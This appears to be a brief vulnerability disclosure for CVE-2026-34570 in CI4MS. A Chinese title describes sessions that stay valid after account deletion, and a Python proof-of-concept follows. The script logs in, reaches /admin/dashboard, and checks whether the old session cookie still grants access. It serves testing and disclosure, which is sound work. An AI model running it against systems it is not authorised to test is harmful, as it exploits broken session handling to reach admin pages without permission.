CVE-2026-34570 CI4MS会话未失效致未授权访问漏洞

import requests # PoC to verify session persistence after account deletion target_url = "http://ci4ms-target.com" username = "victim" password = "password123" s = requests.Session() # Step 1: Login to get a valid session login_data = {"email": username, "password": password} s.post(f"{target_url}/login", data=login_data) # Step 2: Access a protected resource (should succeed) resp_before = s.get(f"{target_url}/admin/dashboard") print(f"Access before deletion: {resp_before.status_code}") # Step 3: Assume an admin deletes the account via another interface # Note: The session cookie 'ci_session' is still stored in 's' # Step 4: Attempt to access protected resource again with the old session resp_after = s.get(f"{target_url}/admin/dashboard") print(f"Access after deletion: {resp_after.status_code}") # If vulnerable, status code will be 200 instead of 302/401 if resp_after.status_code == 200: print("[+] Vulnerability Confirmed: Session remains active after account deletion.") else: print("[-] Session invalidated properly.")